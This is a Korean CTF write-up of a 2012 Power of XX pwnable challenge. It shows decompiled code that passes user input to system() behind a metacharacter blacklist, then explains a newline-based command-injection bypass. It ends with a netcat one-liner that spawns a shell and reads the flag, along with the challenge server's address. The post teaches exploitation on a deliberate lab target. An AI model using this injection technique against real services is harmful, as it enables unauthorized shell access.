POC 컨퍼런스의 이벤트로 진행된 Power Of XX라는 여성대상 해킹대회 예선에 출제했던 문제입니다.
system함수에 개행문자를 이용하여 여러명령을 실행할 수 있다는 점을 이용해 필터링을 우회하고 쉘을 획득해야합니다.
이 문제 역시 난이도를 중-하로 잡고 냈기 때문에 매우 간단합니다 :)
-------------------------------------------------------------------------------------------------------------------------------------------
Category : Pwnable
nc 59.9.131.148 7979 데몬의 취약점을 이용해 쉘을 획득하고 /home/listd/flag.txt를 읽으세요. |
Summary : shell command injection, filtering bypass with '\n'
주어진 파일은 문제서버에서 데몬으로 돌아가고 있는 linux ELF 실행 바이너리이다.
int __cdecl main() { int result; // eax@10 char cmd; // [sp+1Ch] [bp-30Ch]@10 char buf; // [sp+21Ch] [bp-10Ch]@1 int SSP; // [sp+31Ch] [bp-Ch]@1 SSP = *MK_FP(__GS__, 20); memset(&buf, 0, 0x100u); read(0, &buf, 0x100u); if ( strchr(&buf, '`') || strchr(&buf, '|') || strchr(&buf, '&') || strchr(&buf, '$') || strchr(&buf, ''') || strchr(&buf, '\"') || strchr(&buf, '`') || strchr(&buf, ';') || strchr(&buf, '`') ) { puts("What are you doing ?"); exit(0); } sprintf(&cmd, "ls -al %s", &buf); system(&cmd); // Vuln !!! result = 0; if ( *MK_FP(__GS__, 20) != SSP ) __stack_chk_fail(); return result; } |
바이너리의 역할은 매우 간단하다. 클라이언트로부터 경로를 입력받고, system함수로 ls -al 명령을 입력받은 경로와 함께 실행하여 해당 경로를 리스팅하는 것이 전부이다. 그런데 ls -al의 경로로 사용하기 위해 입력받은 문자열이 그대로 system함수에 넘어가기 때문에, 쉘의 특수문자들을 이용하여 임의의 쉘명령을 실행시킬 수 있는 취약점이 존재한다. 취약점은 간단하지만 문제점은 쉘에서 사용하는 특수문자들에 대한 필터링이 존재한다는 것이다. 일반적으로 한 구문에서 여러 명령을 실행시킬때 사용할 수 있는 ; & | ` 등의 특수문자들도 모두 필터링되어 사용할 수 없다.
이 필터링을 우회해야 하는 방법을 찾아보다보면, 개행문자(\n)가 필터링 되어있지 않다는 것을 알 수 있다. 쉘명령에서 개행문자를 쓰는 것은 명령 한줄 한줄을 구분해 주는 것이기 때문에, 개행문자를 사용하여 한 문자열에서 여러 개의 명령 구문 실행할 수 있다. 문제 바이너리에서도 개행문자에 대한 필터링이 존재하지 않는다는 것을 이용해 필터링을 우회하여 원하는 임의의 명령을 실행시킬 수 있다. 따라서 입력에 임의로 아무경로나 넣어주고 그 뒤에 개행문자와 함께 sh명령을 넣어주면, "ls -al [임의의 경로]" 명령이 실행되고 sh명령이 실행되어 쉘을 획득할 수 있을 것이다.
바로 공격을 시도해보자.
root@ubuntu:~# (python -c 'print "/dev/null"+"\n"+"sh"';cat)|nc localhost 7979 crw-rw-rw- 1 root root 1, 3 Feb 22 2011 /dev/null id uid=1004(listd) gid=1004(listd) groups=1004(listd) cat /home/listd/flag.txt 6b5f247c1aa7baca0b7c92b792a98a7b |
서버의 쉘을 획득하고 인증키를 얻어냈다.
Flag : 6b5f247c1aa7baca0b7c92b792a98a7b
'CTF > 2012' 카테고리의 다른 글
BOB 1기 모의사이버전 - memod (1) | 2012.12.03 |
---|---|
POWER OF XX 2012 본선 - leakme (0) | 2012.11.09 |
Just For Fun Season2 2012 - silly200 (Exploit Only) (4) | 2012.08.06 |
Just For Fun Season2 2012 - silly100 (8) | 2012.08.05 |
제 1회 청소년 화이트해커 경진대회 문제풀이보고서 (0) | 2012.05.24 |